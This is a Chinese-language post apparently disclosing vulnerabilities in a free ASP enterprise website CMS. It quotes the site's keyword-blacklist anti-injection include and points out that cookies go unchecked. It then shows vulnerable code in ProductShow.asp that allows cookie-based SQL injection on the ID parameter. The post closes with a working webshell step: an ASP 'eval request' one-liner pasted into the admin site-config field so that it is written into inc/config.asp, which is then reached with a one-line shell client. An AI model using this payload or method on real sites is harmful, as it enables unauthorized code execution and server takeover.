由于工作关系上网找企业站的源码,发现一个南方数据企业网站管理系统免费版 V12.0 样子不错 功能也符合要求 就下了回来看看,发现一些问题,随便谈谈,也不知道前人有没有发过

粗略的看了下 存在问题的文件有

DownloadShow.asp

Shownews.asp

ProductShow.asp

等等估计还有好多,没仔细看

这几个文件在顶部都有

<!–#Include File=”inc/Check_Sql.asp”–>

防注入系统,先看下源码

<%
‘——–版权说明——————
‘SQL通用防注入程序 V2.0 完美版
‘——–定义部份——————
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
‘自定义需要过滤的字串,用 “|” 分隔
Fy_In = “‘|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare”
‘———————————-
%>

<%
Fy_Inf = split(Fy_In,”|”)
‘——–POST部份——————
If Request.Form<>”" Then
  For Each Fy_Post In Request.Form
    For Fy_Xh=0 To Ubound(Fy_Inf)
      If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
        ‘——–写入数据库–头——–
        Conn.Execute(“insert into 0791idc_CheckSql(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values(‘”&Request.ServerVariables(“REMOTE_ADDR”)&”‘,’”&Request.ServerVariables(“URL”)&”‘,’POST’,'”&Fy_Post&”‘,’”&replace(Request.Form(Fy_Post),”‘”,”””)&”‘)”)
        Conn.close
        Set Conn = Nothing
        ‘——–写入数据库–尾——–

        Response.Write “<Script Language=JavaScript>alert(‘严重警告:请不要在参数中包含非法字符尝试注入!’);</Script>”
        Response.Write “非法操作:系统做了如下记录<br>”
        Response.Write “操作IP:”&Request.ServerVariables(“REMOTE_ADDR”)&”<br>”
        Response.Write “操作时间:”&Now&”<br>”
        Response.Write “操作页面:”&Request.ServerVariables(“URL”)&”<br>”
        Response.Write “提交方式:POST<br>”
        Response.Write “提交参数:”&Fy_Post&”<br>”
        Response.Write “提交数据:”&Request.Form(Fy_Post)
        Response.End
      End If
    Next
  Next
End If
‘———————————-

‘——–GET部份——————-
If Request.QueryString<>”" Then
  For Each Fy_Get In Request.QueryString
    For Fy_Xh=0 To Ubound(Fy_Inf)
      If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
        ‘——–写入数据库–头——–
        Conn.Execute(“insert into 0791idc_CheckSql(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values(‘”&Request.ServerVariables(“REMOTE_ADDR”)&”‘,’”&Request.ServerVariables(“URL”)&”‘,’GET’,'”&Fy_Get&”‘,’”&replace(Request.QueryString(Fy_Get),”‘”,”””)&”‘)”)
        Conn.close
        Set Conn = Nothing
        ‘——–写入数据库–尾——–
        Response.Write “<Script Language=JavaScript>alert(‘严重警告:请不要在参数中包含非法字符尝试注入!’);</Script>”
        Response.Write “非法操作:系统做了如下记录<br>”
        Response.Write “操作IP:”&Request.ServerVariables(“REMOTE_ADDR”)&”<br>”
        Response.Write “操作时间:”&Now&”<br>”
        Response.Write “操作页面:”&Request.ServerVariables(“URL”)&”<br>”
        Response.Write “提交方式:GET<br>”
        Response.Write “提交参数:”&Fy_Get&”<br>”
        Response.Write “提交数据:”&Request.QueryString(Fy_Get)
        Response.End
      End If
    Next
  Next
End If
%>

只对post和get提交的数据做了过滤而忘记了cookies

再来看一下存在问题的这些文件

ProductShow.asp  66-74行

dim ID
ID=replace(Trim(request(“ID”)),”‘”,”")
if ID=”" then
 response.Redirect(“Product.asp”)
end if

sql=”select * from 0791idc_Product where ID=” & ID & “”
Set rs= Server.CreateObject(“ADODB.Recordset”)
rs.open sql,conn,1,3

可以看到id是用request方式获得的,而且对ID只做了简单的过滤单引号处理

也就是说可以通过cookies提交ID进行注入

具体注入过程就不再累述了,网上关于cookies注入的教程一堆一堆的

关于拿shell

这个就更简单

进后台 系统管理 网站配置

随便找个地方修改成

“%><%eval request(“x”)%><%Const nidaye=”xzlbb.com

然后用一句话客户端连接http://目标网站/inc/config.asp就行了